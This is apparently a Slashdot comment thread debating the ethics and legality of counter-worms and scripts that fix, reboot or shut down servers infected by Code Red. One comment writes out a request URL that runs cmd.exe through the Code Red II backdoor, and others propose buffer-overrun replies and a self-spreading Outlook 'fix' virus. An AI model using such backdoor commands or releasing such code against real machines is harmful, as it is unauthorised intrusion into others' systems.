      Arguably true, but the bigger issue is "what are correct ethics?" Some things nearly all people can all agree on: it isn't ethical to copy someone else's work and pass it off as your own. But there are a lot of other ethics issues that will be very decisive. For example:

      "It is permissable to take a person's life if it is the only way to protect your life or the life of another."

      I have had many arguments with people who think that there is never, ever a reason to take a life, whereas I believe that self-defense is a fundamental human right. In the case of a divisive topic such as this, an "ethics class" is useless at best -- and brainwashing at worst.

      I think some kind of critical thinking training is a better idea. If you can think critically, you will develop your own ethical code.

    38. Re:Don't be a part of the problem by CharlieG · · Score: 5, Interesting
      You say:
      It is up to the infected party to take the medicine, and it would be unethical to seize the unwitting victim and force the medicine into their bodies.


      The thing is they CAN seize you and force you to take medicine IF you are determined (Usually by 2 doctors) to be a danger to yourself or others. Ever hear the term "Involuntary Commitment"
      There ARE times when you are forced to do things
      --
      -- 73 de KG2V For the Children - RKBA! "You are what you do when it counts" - the Masso
    39. Re:Don't be a part of the problem by jaga~ · · Score: 1

      Avoiding innoculations is often very illegal.

      --

      "This is where god would go if he wanted to get off blow!"
    40. Re:Don't be a part of the problem by startled · · Score: 2

      Your solutions should not affect the state of the infected machines. Even if you could "fix" their machine. Even telling them that their machine is infected is over the line, if you're using their machine to do it.

      By this logic, sending them an e-mail notifying them that their machine is infected is unethical. After all, I am causing a change in the state of their machine. "Oh, but they have an e-mail client running, they want e-mail." But they do not want spam; is spam unethical? They also have an http server running; which responses are ethical, which are not?

      And before you attack my analogies, let's look at this awful one:
      If you're going to call it a virus, think of the influenza virus. A medicine is widely available on the market. It is up to the infected party to take the medicine, and it would be unethical to sieze the unwitting victim and force the medicine into their bodies.

      Were people not quarantined for plague? If you have a contagious, deadly virus, they can force you into quarantine. Does that mean it's ethical for me to send something back that shuts off IIS, or turns off their computer? Not to mention, you can be forcibly treated for certain conditions if you pose an immediate threat to yourself and/or others; this is often invoked to treat mental illness. These boxes are certainly a threat to themselves and others-- what if someone decides to exploit this and do a DDoS? To you?

    41. Re:Don't be a part of the problem by Mr.+Slippery · · Score: 1
      existentialism is a philosophical approach that places focus upon the individual, not an ethical theory

      Yes, but there is an ethical component to it. My memory is not cooperating and my notes are at home, boxed up in the attic...but I can recall spending several days on existentialism as an ethical theory, back in a class on contempory ethical issues. Something about the value of "heroic defiance"...?

      Me, I go with the Zen guys on this one: "If you want to get the plain truth, be not concerned with right and wrong. The conflict between right and wrong is the sickness of the mind." -- Seng-Ts'an

      --
      Tom Swiss | the infamous tms | my blog
      You cannot wash away blood with blood
    42. Re:Don't be a part of the problem by CharlieG · · Score: 2

      I don't think it's a good idea, BUT, as I said, it CAN be done

      --
      -- 73 de KG2V For the Children - RKBA! "You are what you do when it counts" - the Masso
    43. Re:Don't be a part of the problem by WNight · · Score: 3, Interesting

      I think it's YOUR ethics that are broken. Anyone who has to be *schooled* in ethics has already lost the battle.

      There are cases that it would be wrong to 'fix' someone's computer... If, for example, they ran a thriving business from it and you were being annoyed by a trojan that ran occasional port-scans, stopping their business by crashing their machine is unwarranted...

      But, in the case mentioned, a worm could be written which would seamlessly upgrade the affected computers, and close the backdoors permanently. Consider that these backdoors allow (and very likely will be used) attackers to control the machine for a DDoS, port-scanning, continued spreading of the infection, and with some of the later bugs, full access to the machine which would potentially allow all sorts of electronic theft. In this case, you're almost guilty by your inaction.

      The huge ammount of damage that can be caused by each infected machine, both to the owner, and to the rest of the internet completely outweighs the owners right to have their computer configured in a certain way.

      In many jurisdictions, inaction can be a crime. If, for instance, you see someone in mortal danger and you could have warned them, but didn't, you can often be charged with murder. (House on fire, you know someone's inside, but don't bother trying to alert them or call for help.)

      People like you really frighten me. You have a twisted sense of ethics and you want to force other people to be indoctrinated in them. Ugh.

    44. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      I don't think it's a good idea, BUT, as I said, it CAN be done

      Yes, it can be done, it's called the Baker Act.

    45. Re:Don't be a part of the problem by Rinikusu · · Score: 4, Insightful

      Hell, I'd give even another example.

      When I was 4, I was in my apartment complex running around like a, well, screaming 4 year old. One of the residents (happened to be a RN) was watching me play with my brother and then called me over to him. He took a good look at me, grabbed my hand and took me to my apartment.

      "Your son has the measles. Take him to the doctor, now."

      There was a person, completely unrelated to me, who didn't even have kids whom I could "endanger" with my measles. Was he within his rights?

      The original poster must realize that an infected machine has already been compromised by an intruder. If you walk past an apartment and see someone has forced the door open and is ransacking it, do you continue walking by? Or do you yell at the thief? Call the Cops?

      Those "infected" machines are flooding the pipe that I'm paying for, so doesn't that make them some part of a "commons" that makes them part of everyone's responsibility?

      If my neighbor is playing his music too loudly, don't I have the right to knock on his door and say "Hey, turn that down, please?"

      If I'm being constantly probed by thousands of infected machines, my internet access greatly slowed down by all the garbage in the pipe, don't I have a right to find the owners and tell them "Hey, knock that shit off. Fix your damn machine, it's hurting everyone."

      Furthermore, to pick on another pet peeve of /., doesn't the consumption of bandwidth by infected machines remind one of the arguments *against* spam? "I pay for my access, I don't want to pay for spam." Twist that into "I pay for my access, I don't want to pay for some virus propagating at my expense..."

      Just some thoughts...

      --
      If you were me, you'd be good lookin'. - six string samurai
    46. Re:Don't be a part of the problem by isomeme · · Score: 2
      If you're going to call it a virus, think of the influenza virus. A medicine is widely available on the market. It is up to the infected party to take the medicine, and it would be unethical to sieze the unwitting victim and force the medicine into their bodies.

      Ah, but we (as a society) do legally require people to get vaccinated, because doing so benefits society as a whole sufficiently to justify the slight loss of personal freedom. Most people consider compulsory vaccination to be quite ethical. How does this differ from compulsory computer security measures?

      --
      When all you have is a hammer, everything looks like a skull.
    47. Re:Don't be a part of the problem by ptomblin · · Score: 2

      You're giving up liberty-- not yours, but theirs.

      So were the public health officials who dragged Typhoid Mary kicking and screaming out of the kitchens. By your reasoning, she should have been allowed to keep working.

      Even if I'm vacinnated against typhoid, I don't want a typhoid infected person handling my food.
      Even though I don't have a default.ida, I resent the fact that I had to double the number of httpds that I'm running in order to provide decent service to the people who are legitimately accessing my web server because of all the "GET /default.ida?XXXXXX...." going on.

      --
      The next Cmdr Taco duplicate will be ready soon, but subscribers can beat the rush and see it early!
    48. Re:Don't be a part of the problem by einhverfr · · Score: 2
      The point I am raising is that the car poses a risk to society. I am altering someone else's property in stopping it. However, I don't think it can be called unethical. The danger was created by someone who was not the owner - removal of that danger by another third party can be ethical depending on the magnitude of the danger and the alteration of the property.

      Interesting analogy. This is not the same thing, IMO as creating self-replicating programs to combat a virus. I don't object to writing a script that would reply to the signature packets with a buffer overrun designed to reboot the server/shut down IIS, do an rdns query and email the admin of the domain with a form letter giving the IP address of the attacking machine. That is fine and along the lines of the analogy you are mentioning. But it is not the same thing as creating a self-replicating entity to automatically do this throughout the web.

      --

      LedgerSMB: Open source Accounting/ERP
    49. Re:Don't be a part of the problem by laertes · · Score: 2, Interesting
      It is up to the infected party to take the medicine, and it would be unethical to sieze the unwitting victim and force the medicine into their bodies.

      And this would be unethical how? By violating some inalienable right people have to carry disease? That's a new one. People who do not patch up their servers (or take medicines) are being negligent. If a person allows them self to get sick, and they get other people sick, I would prefer that they get held responsible.

      Frankly, I'm getting sick of Code Red myself. I use DSL, and it crashes my modem, a lot. Nor can I write a little script; the modem needs a hard reboot. I don't even use windows, and those irresponsible system administrators are costing me more than a little pain and greivance.

      The internet is a self-policing system. Since there are no formal channels to use to force people to upgrade their servers, this extreme course of action is being pursued.

      Why do schools neglect an ethics curriculum?

      Whose ethics do we teach? Yours?

      --

      Yes, I'm still a junky. Are you still a bitch?
    50. Re:Don't be a part of the problem by Unknown+Bovine+Group · · Score: 1
      Hmm. What country are you talking about? In the US, school districts require it... and who requires you to go to school? Say it with me now: the GOVERNMENT. (see: TRUANT OFFICER)

      --
      m00.
    51. Re:Don't be a part of the problem by MindStalker · · Score: 1

      How far do you think the "using their machine" to tell them they have the virus goes? I mean does seeing if their website has an email address and emailing that person, is that using their machine to contact them. There are a whole degree of things that can be done, from my example to actually placing a thing on their desktop saying "YOU HAVE A VIRUS".

    52. Re:Don't be a part of the problem by dankjones · · Score: 1
      In america, It is illegal not to treat TB on account of the fact that you can infect innocent bystanders. There are civil and criminal neglect penalties for being sick carelessly. Exposing someone to HIV is also a federal offence.

    53. Re:Don't be a part of the problem by DCookie · · Score: 1

      At least they won't infect anyone if their computer isn't running. :o)

      --
      My SIG is a SG-552 Commando
    54. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      I'm not sure your human virus analogy holds. We prosecute people for knowingly passing HIV and you'd have pretty good grounds for a tort suit if you could prove that someone unknowingly but negligently (i.e., knowing that they had failed to take precautions had actively taken big risks and then actively sought opportunities for contacts which could spread the virus) gave you HIV. I agree that spreading an anti-virus is unacceptable ethically. However, if we don't start creating accountability in the system for passivity as well as for malice, we're not going to see much improvement.

    55. Re:Don't be a part of the problem by newbiescum · · Score: 1
      As another example, suppose my neighbor's house is burning and his 10 year old is screaming at the window, and he is not around. Am I ethical in breaking in to save his child ? In this case the answer is really clear.
      A more interesting and perhaps correct analogy is that the 10 year old is throwing things at you and other people every 5 minutes and yelling at other kids to do the same. Do you have the right to a) throw something back (counterattack/root the other box), b) tie his hands and shut his mouth (use the antivirus) or should you just find the parent? The kid in the fire is just screaming at you. He is not doing "physical" harm to you. Meanwhile, Code Red is.
    56. Re:Don't be a part of the problem by Unknown+Bovine+Group · · Score: 1
      So who's suing? The owner of the infected box? I hope he enjoys the counter-suit by me and several hundred neighbors all armed with logs showing his computer attempting to infect us.

      --
      m00.
    57. Re:Don't be a part of the problem by lionrampant · · Score: 1

      What's your source for the definitions you give of "ethics" and "morality?"

      --
      You can trust me. I'm with the government.
    58. Re:Don't be a part of the problem by Mazianni · · Score: 1

      Your analogies aren't valid, because you're talking about cases where there is the threat of physical harm to an actual person. The Code Red virus is annoying, and it's causing major problems, but it's not going to kill anyone, and it's not going to permanently damage your system.

      The only thing that you have the right to do it to tell the admin of the infected server via email. If they ignore you, run a traceroute and ask their service provider to firewall them for port 80. Then they'll have a real incentive to fix the problem.

      If you attack someone else's machine, then you're on exactly the same ethical level as the person who wrote the original virus.

      SPQA

    59. Re:Don't be a part of the problem by si1k · · Score: 1
      Speare wrote:
        • "Those who would give up essential liberty, to purchase a little temporary safety, deserve neither liberty nor safety." -- Benjamin Franklin
        Yeah, that means you. You're giving up liberty-- not yours, but theirs.
      Sorry Speare, that's not what Franklin is saying. Giving up your own liberty for some safety is like allowing your country to turn into a police state so that it will be harder for people to steal.

      That's not the same as taking away someone else's liberty to protect your own safety--which is exactly what we do every time we send a criminal to jail.

    60. Re:Don't be a part of the problem by Anonymous Coward · · Score: 0

      There's a difference between leaving a note on a person's desktop and fixing the problem. In your analogy, leaving a note is equivalent to a doctor telling the patient their options. Fixing the problem is actually carring out one of those solutions, with or without the owner's permission. It's not unethical to offer advice to another individual, especially if you believe they do not know they are infected or are incapable of fixing the problem on their own. Only when you start fixing the problem without their consent is it unethical.

    61. Re:Don't be a part of the problem by Malcontent · · Score: 2

      Your examples are not quite right.

      The thread is not about "telling them" it's about actually fixing the problem.
      Would you have wanted the neighbor to actually innoculate the child?

      Would you want your neighbor to enter your apartment and actually turn down your stereo?

      It's one thing to call the cops it's another to take the matter into your own hands.

      --

      War is necrophilia.

    62. Re:Don't be a part of the problem by __david__ · · Score: 1
      Getting back to computers, what about where the anti-virus-virus causes inadvertant damage to the system because it has an unusual configuration, different software, etc. So instead of fixing the webserver, it utterly kills it. That could happen very easily if you binary patch even a slightly different version of the executable than you were expecting. Then what?

      Well, then suck it up, I say... They've had plenty of time to fix their dumb server. And at least if it's dead then it's not spreading a virus around anymore!

      -David

    63. Re:Don't be a part of the problem by jvoisin · · Score: 1

      You could technically use the virus itself to tell them that they are infected.

      http://24.XXX.XXX.XXX/c/winnt/system32/cmd.exe?/ c+ "net send 127.0.0.1 PATCH YOUR WEB SERVER PLEASE!! "

      But then, would using the virus to inform the user of the infection be right? I had thought of writing a program that parses my access_log and waits 2 hours until their servers are accepting connections again and doing some messages to try and help them out.. someone is bound to take it the wrong way....

    64. Re:Don't be a part of the problem by goodtim · · Score: 0


      You made a good point, but you forgot one major thing: "ethics != law". In other words, what you do may be ethical, that doesn't make it legal. Using the same methodes as a virus to gain access to someone's computer is not legal. It doesnt matter if you are trying to defend againts a virus, it's still illegal.
      Be aware though, I am not saying that it is a bad idea, because everybody knows that sometimes you have to break the law, to better society.

      --
      "Flee at once, all is discovered."
  84. Re:This has already happened by Anonymous Coward · · Score: 0

    Another analogy: the lock on the front door of your house is broken. I'm walking down the street, trying all the doornobs and I get into your house. Having the best motives, I fix your front door lock. I leave a note behind telling you just what I did. You come home, read the note and start looking around your house to make sure your valuables haven't been stolen, your diary read, etc. You feel your privacy has been invaded.

  85. How funny would this be... by Mustang+Matt · · Score: 2

    Find infected machines and popup a warning Window on each machine telling them they're infected.

    I don't agree with doing it whatsoever, but that would wake up a lot of sysadmins.

    --
    The man who trades freedom for security does not deserve nor will he ever receive either. - Benjamin Franklin
  86. Re:old news, surely? This has been done before: by ferret4 · · Score: 1
    Hell, I forgot p tags and stuff - and previewing of course:

    slashdot.org

    bbc news

  87. Better be good by fetta · · Score: 1

    If you're going to try to write a "virus antibody," you had better be good. Otherwise you could accidentally create all kinds of problems. "Ooops! I just accidentally created a DoS attack." If you mess up and the legal authorities track you down, they may not be sympathetic to the "I was only trying to help" argument.

    Just something to think about.

    --
    ** The opinions expressed here are my own, and do not reflect those of my employers - past, present, or future**
  88. Re:The law's not on your side by DCowern · · Score: 1

    I would think you could argue sucessfully that you were covered under the good samaritan law (what is it? go here: What is the good samaritan law?). It is basically the law that says it's ok for you to break into a burning building to help people inside. It also protects you if, for example, you're trying to help an injured person and inadvertantly cause them more harm. Food for thought.

  89. Citizen's Arrest by chrome+koran · · Score: 1

    Since the offending party is a) costing you time and money and b) harming the performance of your web server and/or network (also costing you money), I would say he is committing a crime against you. Therefore, you would be well within you rights in proceeding with a Citizen's Arrest against the offending server and remanding it into custody via root access. ;-)

    But seriously, do you think it's possible to bring a class action suit against the owners/operators of servers that still haven't downloaded the patch? They are, through their negligence, causing grave economic damage to the rest of us...Anybody out there think you can take a log of all the servers bombing you, do reverse lookups, and file a lawsuit in court? Hehehe...I'm actually surprised no one has tried this yet.

    Just thinking out loud...

    --

    It's not funny till someone gets hurt.
    1. Re:Citizen's Arrest by Mojojojo+Monkey+Inc. · · Score: 0, Troll

      Why stop there? Why not sue gun makers cause they make something that is only good for killing people? Oh wait, a bunch of idiots already tried to pull that shit and lost.

    2. Re:Citizen's Arrest by aePrime · · Score: 1

      Why not a class action suit against Microsoft? Sure, the users of IIS can't sue because of Microsoft's license agreement, but we innocent Apache users are having our bandwidth sucked because of it, and we never agreed to MS's agreement.

  90. Re:You'd spawn a war that hasnt escalated so far by SimCash · · Score: 1
    This is like saying that a certain amount of rape is inevitable, so lay back and enjoy it.

    There is a well-understood concept labeled "the broken window" that says that if you do not repair the cracked windows then eventually your neighbors do not repair their siding, then eventually no one repairs their roof, and eventually the housees become "a sort of rat-place" (thanks to Woody of "Cheers" fame).

    This syndrome is often used (correctly) to explain why you cannot let your neighbor do ugly things to their place (like letting the cars rot in the front yard) because the effects move beyond their own property. The effort to stop this slide is sometimes called "community action" (when the speaker likes the objectives) and "vigilanteism" (when the speaker does not like the objectives).

    Go figure.

  91. Re:Its entirely possible by jgerman · · Score: 2
    Sure it is. I'm not saying that every case ends up like that, just that you cannot take for granted that you have a license to kill (or attack or whatever) in that situation.

    It's understandable in some ways. Say, for example, someone pulled you off the street into their home and shot you. It's your work against theirs that you didn't break in, and you're dead.

    --
    I'm the big fish in the big pond bitch.
  92. Code Red DSL problems by geckles · · Score: 1

    I'm curious; I've had problems with my DSL router as well. Switching the web admin port to something other than 80 seems to have taken care of it. Any others with a similar experience?

  93. Vigilante security by Borogove · · Score: 1

    There are lots of people saying 'don't do this, it's not ethical'. The reasoning is clear: to fix a broken machine, you'd effectively have to 'hack' into it, which is bad; there's a chance that you could break something in the process, which is also bad. It's also probably illegal, although the odds are against you being found.

    I'm not going to argue that it isn't unethical, but I do think it's still worth exploring the possibilities. Let's assume that CodeRedII isn't the last worm of its kind that we'll see. I find it fairly likely that this sort of attack will be more common, because of the possibilities it presents to hackers.

    CodeRedI and II haven't brought the Internet to its knees yet, but the offer the potential for massive denial-of-service attacks that would have the power to do tremendous damage. If script-kiddies start taking advantage of this power, what should we do?

    I wouldn't want to start trying to patch these systems myself, but I'd wouldn't complain about any vigilantes doing the job. Furthermore, it's possible that future CodeRed variants will not only attempt to infect other web servers, they'll also attempt to download new instructions from random web servers. If this started happening, I'd have no qualms about providing self-cleaning instructions on my own server.

    --
    There has been a major scientific break-in
  94. Another approach... by cuyler · · Score: 1

    The approach would not to be to create a white hat worm to infect a computer to fix the hole since that is considered by many to be as unethical as infecting a computer with harmful intent; It would be to just have a script to download the main page from any host that attempted to attack you (after all, they all run web servers). Then the script would search for any e-mail address (ie. webmaster@....) on the main page, probably at the bottom and then send an e-mail to that address informing them that your server was hit by the Code Red Worm [I | II] from their server.

    Just an idea...

  95. Re:IT Darwinism by Miss+Congeniality · · Score: 1

    I'm with you zothorn.

    Admins should be responsible for their own
    boxes being compromised and have to shoulder the
    accompanying humiliation if their own neglectfulness is revealed .

    There are too many weekend-crashcourse MCSE's getting hired for
    positions demanding seasoned, experienced admins.
    I am hopeful that some of the businesses whose
    scans turned up in my logs get wise to the fact
    that this exploit exists only as a result of
    irresponsibility.

    ...Of course it may also be that so many IT departments get hit first when it's layoff time.
    Some .com's in my area have one admin doing the job of three.

  96. Re:You could do that, but don't! by isomeme · · Score: 3, Insightful
    In other words, if counterviruses and antiworms became commonplace, it would turn the internet into one big war zone for autonomous code. And I can't even imagine what might result if an arms race broke out in that contest, though I expect some of its fruits would be quite frightening. I've already drawn the analogy to Core War in a previous thread.

    ...A war which would have no direct effect on those practicing safe computing, and which would encourage everyone to join that group as quickly as possible. In a network of properly secured machines, both 'good' and 'bad' agents would starve.

    --
    When all you have is a hammer, everything looks like a skull.
  97. Re:The law's not on your side by SomeoneGotMyNick · · Score: 1
    Don't fix it completely... Those who got the virus deserve it for obvious reasons. Let them remove it themselves. Just alter it so that every IP address it connects to is 127.0.0.1

    This way, the rest of the internet doesn't have to suffer.

  98. You'd better not do it wrong. by lavaforge · · Score: 1
    Even if we were to ignore ethics and whatnot, there's still a pragmatic reason for not writing a counter-virus.

    I doubt that the person who wrote the counter-virus would get it perfect on the first try, and an "almost ready" virus is a damned scary thing. What kind of excuse would you be able to give for torching a couple thousand web servers by accident?

    1. Re:You'd better not do it wrong. by Anonymous Coward · · Score: 0

      The excuse would be "because it was fun". What other excuse is there :)

  99. Possible? Yes, of course. by Tim+C · · Score: 4, Insightful

    A good idea? Absolutely not.

    Part of the problem with worms isn't just the malicious acts that they perpetrate, it's the bandwidth that they use.

    A particularly virulent worm can bring servers and routers to their knees just propagating itself. That's before it even gets the chance to do any of its intended damage. (Remember Melissa, or The Great Internet Worm?)

    Add to this very real concern the fact that striking back in this way, no matter the good intentions, is almost certainly illegal, and the whole idea is a definite no-no.

    (Yes, it does have a certain appeal - but so do many other things that are bad ideas, too)

    Cheers,

    Tim

    1. Re:Possible? Yes, of course. by AndroidCat · · Score: 1

      So don't use a worm, use a trap-door spider. (Feel free to invent a better term.)

      Write a program that sits on port 80, and when it detects a Code Red II attempt, it "fixes" the infected machine. It's still not ethical, but much safer. (It could still lead to police cars arriving to come take you away...)

      --
      One line blog. I hear that they're called Twitters now.
    2. Re:Possible? Yes, of course. by grytpype · · Score: 1

      Everyone seems to agree that releasing a white worm is a Bad Thing to Do, but shouldn't it be done anyway? If the alternative is that hundreds of thousands of IIS-running idiots are going to keep Code Red alive forever, thereby increasing latency & eating up bandwidth for everyone, why not do them the favor of fixing their machines, even if it is without their knowledge? They won't even notice it is happening. Oh, but it would be Against the Rules. And Unethical. So what? The guy who does this will be a hero if it works.

      And as far as bandwith usage goes, the Code White worm will kill itself off as it fixes the very hosts it needs to propagate.

      --

      - Have a picture

    3. Re:Possible? Yes, of course. by spankfish · · Score: 1
      Everyone seems to agree that releasing a white worm is a Bad Thing to Do...

      You are now about to enter:

      The Lair Of The White Worm

      *bwahahahahaha*

      --

      NO TOUCH MONKEY!
    4. Re:Possible? Yes, of course. by startled · · Score: 1

      a) How does grep on your server log consume bandwidth?

      b) They would only try to disinfect "over and over" if they got probed by the host "over and over". Meaning it hadn't been disinfected.

    5. Re:Possible? Yes, of course. by Stonehand · · Score: 1

      It might consume excess bandwidth

      a) just *checking* for infected hosts, and
      b) having many copies trying to disinfect the same host, over and over...

      --
      Only the dead have seen the end of war.
    6. Re:Possible? Yes, of course. by Anonymous Coward · · Score: 0

      This is wrong. The white-hat worm would not consume nearly as much bandwidth because it would work like this: 1) A computer that had code red or code red II is infected with white hat worm. It immediately goes passive and waits for attacks. 2) A code red or code red II attack is perpetrated against this 'white' box, thus it -knows- its attacker is infected. 3) It passes the white hat worm to the attacking box, which immediately goes passive and waits for another attack from code red or code red II. Hence, it grows exponentially but ONLY attempts to contact servers that already are known to be infected!!! (And frankly saying 'you shouldn't' is a bit like saying citizens shouldn't do anything about witnessing a break-and-enter. This crap is choking the internet, and I think its pretty justified to bloody well defend ourselves, particularly when defending ourselves causes no harm to our attacker.)

    7. Re:Possible? Yes, of course. by startled · · Score: 3, Insightful

      How the fuck does this increase bandwidth use? I've seen several comments like this modded up; what am I missing?

      Good virus resides on your computer. Computer gets scanned; good virus cleans up offending computer, installs itself. Now, rather than sending out 300 requests at a time, the offending computer is sending out nothing, unless it is scanned as well.

  100. A K5 USer has published an anti-CodeRed virus by hillct · · Score: 4, Informative

    A K5 user has provided the source to a proposed code-red anti-virus, which actively repairs remote systems infected with the code red virus. The legal implications of this are a bis issue, but it's certainly an interesting code example.

    --CTH

    --

    --Got Lists? | Top 95 Star Wars Line
    1. Re:A K5 USer has published an anti-CodeRed virus by BigBlockMopar · · Score: 4, Interesting

      The legal implications of this are a bis issue, but it's certainly an interesting code example.

      Yeah, it's a great idea. It would be wonderful to see someone do it, but at the same time, if you did, you're as bad as the virus writers, since this would propagate everywhere and make changes on their systems without their consent.

      For me to even academically consider such a virus, it would also have to have automatically e-mail the (l)user whose machine has just been patched, and state "You are an idiot. You've been negligent in the maintenance of your webserver. A benevolent UNIX/Linux geek wrote a virus which propagates by the same method as Code Red and it has now fixed this vulnerability on your machine. To learn about real webservers, go to www.apache.org."

      But based on what I'm seeing from the description (I haven't unzipped/untarred it yet), I suspect it's more along the lines of what I've been wanting to do. If I get a request from a IIS-infected machine, why not have it force a reboot of that machine? Through the negligence of the system's owner, it attacked me. Why can't I merely force a reboot, clear the virus from the memory, and hopefully alert the imbecile involved that he's got a problem?

      Take a look at my webserver log (link from my sig). I seem to be getting hit by the same IIS-infected hosts over and over. I'm sure the IIS-infected machines are getting hit by the same other machines over and over. If I were to force a reboot of those machines which attempt to infect my Apache server, then they'd promptly be reinfected, and since Code Red II scans within a tighter range of IP addresses, I'd probably take that machine down again. Of course, the cycle would repeat, and infected machines where I'm within their scanning range would be coming up and going down all day. Surely the owner would eventually realize something was wrong?

      I'd love to do this, but I still don't like the legal implications. Stealing a car to prevent someone driving while drunk is still illegal, and this is a lot less clear-cut.

      --
      Fire and Meat. Yummy.
    2. Re:A K5 USer has published an anti-CodeRed virus by spectral · · Score: 0

      Because code red 2 saves itself to disk AND backdoors the computer. reboting does nothing then.

    3. Re:A K5 USer has published an anti-CodeRed virus by ihawk · · Score: 1

      The anti-codeRed doesn't reboot the computer, it just shuts it down and leaves it down. The owner is probably clueless enough that they will just start it back up again, but after a while, maybe they will get an idea that there is something they need to pay attention to.

      Also, the anti-CodeRed thing is not another virus. It simply replies to requests for /default.ida from an infected system and tries to shutdown that system. It does not then propogate itself into other computers. It just takes advantage of the IIS fault in already infected servers.

      I haven't run this anti-CodeRed script, so I can't say if it works. I have mixed feelings about the ethics of it. But it is really tempting since I am getting sick of the hundreds of CodeRed probes I'm getting every day and the constant ARPing against my cable modem.

    4. Re:A K5 USer has published an anti-CodeRed virus by prgammans · · Score: 2, Insightful

      As the infected server is requesting an action from your server by contacting you in the firstplace, you could say that this is a obvious request for you to fix there machine.

    5. Re:A K5 USer has published an anti-CodeRed virus by Mazianni · · Score: 1

      Any attempt to alter the code running on someone else machine is totally immoral, regardless of whether you're trying to be 'helpful' or not. It's still a virus, and you're still tampering with someone elses machine without their consent, and it's quite likely that you're going to end up going to end up trying to defend yourself in court.

      A much more sensible way to deal with this type of virii would be to create something like the RBL for known infected machines. I don't have the link handy, but the RBL is a list of known unsecured email reflectors, and it's used to fight spam. It's pretty simple: mail servers configured to use it simply refuse to accept any SMTP connections from all servers on the list. When a site is added, a notice is sent to root at that site, and the site can get removed simply by telling the RBL maintainer that they've fixed the problem.

      To solve the problem of these DOS floods, all you'd have to do is put a packet sniffers on the major backbones that flag the traffic from infected sites for operator intervention. The operator then just adds a packet filter to reject whatever types of packets are being flooded, and sends an email to root@infected site telling them to fix the problem. Once they fix it, they just reply asking to have the filter removed.

      The workload from this kind of solution could be immense if there are large numbers of infected hosts, but it would be totally voluntary, and the workload could be spread out quite a bit if the major networks collaborated and maintained a master blacklist. Also, this would be an easy way to quickly minimize the effect on the network of any kind of DOS flood.

      SPQA

    6. Re:A K5 USer has published an anti-CodeRed virus by Spacelem · · Score: 1

      um, what's wrong with being uncircumcised?

  101. Re:Virus that installs linux by ianxm · · Score: 1
    At some point there were rumors of that virus existing. It was called tuxissa. (tux the penguin mixed with melissa the virus) It was a hoax and didn't really exist. (damn)

    here is more info.

  102. Better idea: White-hat Viral patch! by kalamazoo904 · · Score: 1
    OK, so the consensus is that using someone's computer without their consent, even to do them a favor, is both illegal and a Bad Thing.

    So why not ask for their consent? Like this:

    (1) User A, who has clue, downloads the patch and fix.

    (2) Fix, as a part of the fix, scans his files to determine where infective packets have been sent.

    (3) Fix requests: "Send this fix package to those who have been infected? y/n"

    (4) If yes, fix zaps to chosen people. (Email, ftp, whatever.)

    (5) Email says to clueless user B, "I have been sent by such-and-such because his computer indicated that you were attacked and/or infected by $INFECTIVE_PROGRAM."

    (6) Fix says, "My authenticity can be verified by going to website blah-blah-blah, and downloading X program." Or perhaps there is no attachment to the email, and it links you to the website to download the fix.

    (7) User B, now clued, downloads the fix and runs it. Process iterates.

    Unless the box is moldering in a closet somewhere and hasn't been touched in months, this system should get through to all infected users eventually. And best of all, it's TOTALLY VOLUNTARY on each and every user's part.

    Comments?

    --
    Your friendly neighborhood nitpicker
  103. There's a reason for that. by dave-fu · · Score: 1

    @Home/Mediaone has blackholed all incoming traffic on port 80. Go figure.
    It's still a bad idea in so many ways, but that'd just be a redundant rant.

    --
    Easy does it!
    This comment has been submitted already, 276865 hours , 59 minutes ago. No need to try again.
    1. Re:There's a reason for that. by mgkimsal2 · · Score: 2

      I don't see at all why it's a bad idea. Please explain.

  104. What about... by Anonymous Coward · · Score: 0

    What about one that rings the doorbell just to tell you that your door is open?

  105. Re:Take it one step futher... by Anonymous Coward · · Score: 0

    And after closing the hole, the counter-virus should stay resident and launch a counter-attack against anyone who tries to exploit the hole..

    Dude, we already have those, and they're called anti-virus software with gatekeeping features.

  106. Worm won't do the most important thing, educate. by cant_get_a_good_nick · · Score: 1
    If stuff happens automagically, people won't know that there was a problem. I mean if folks didn't patch they're servers after all the news that was around on this, they're not going to know. Sure you patch this one, but what about the next one, and the one after? They need to know that their server as part of the Internet also can affect the Internet, and they need to keep it reasonably secure.

    The problem is that the person with a rooted server now is someone who doesn't know what's going on. They don't know what they're running, they don't know they're running IIS they don't know that they're running the indexing server, something. This person is also likely to have other services that may be rooted. Patch this one secretly and they'll never know. The best suggestion I've seen is collect firewall logs and send mail to the webmaster. This won't work for all cases because a bunch of people will have a web server and not a mail server.

  107. Re:Because of this the internet is dying.. by festers · · Score: 1

    Please, please, PLEASE, learn your proper English plurals.

    There's no reason to be making up words.

    --


    -------
    "Every artist is a cannibal, every poet is a thief."
  108. Fight Spam With Spam? by glassware · · Score: 1
    Has anyone yet sent out a real virus-warning spam?

    When I receive a bogus virus warning from my friends (e.g. Good Times), I reply:

    • Check urbanlegends.about.com to see if it is a hoax before forwarding an email.
    • Proper virus warnings show up as articles on CNN, or companywide notices sent by your company's IT administrator. If it didn't come from either of these two sources, ignore it.
    This is my own attempt to educate the user population. However, virus spam messages seem to be much better at educating the population than my replies.

    So what would happen if I wrote a serious message with a real warning (e.g. "Anything with a .VBS extension is a virus.") and said, "Forward this on to everyone you know?"

    P.S. Based on my understanding of privacy laws, it's legal to encourage people to forward messages to their friends, as long as you aren't collecting information about them.

  109. Repairing worms are not really illegal. by Anonymous Coward · · Score: 0

    The last guy that wrote a "repair" worm was not jailed for writing the worm. He was jailed for wrting a worm that left a back door. If we released a worm that patches, propogates, and erases itself without installing back doors, is THAT legal? The last guy that tried this was arrested because his worm installed a back door. A pure "fix-it" worm should have no detractors. Now here's a good application: create an MS Outlook virus that completely disables extension execution, runnable scripts, and all those other nasty security holes in outlook. Send it out as a porn email and watch it spread like mad. A few "waves" of these and we will have fewer and fewer outlook viruses. Remember, the way to control a virus is to make it more difficult to reporduce. If we lower the production rate for these outlook viruses by releasing a countervirus, production of infected emails could be reduced greatly. And I wouldn't have to delete fifty sircam viruses from my email box every time I checked it.

  110. Re:This has already happened by keanie · · Score: 1
    Any just what would we be saying if someone in "authority" (say the FBI) did release such a "virus" ?

    I suspect we wouldn't be impressed!

    And would be talking about what backdoors they may be installing on our machines...

  111. Re:Its entirely possible by meldroc · · Score: 2

    Which is excellent justification for killing him, burying the body in some remote location, cleaning up the mess, and denying everything. ;)

    --

    Meldroc, Waster of Electrons
  112. Re:Closing the Backdoor by JayHerrick · · Score: 1
    Does anyone have any ideas in light of these problems?

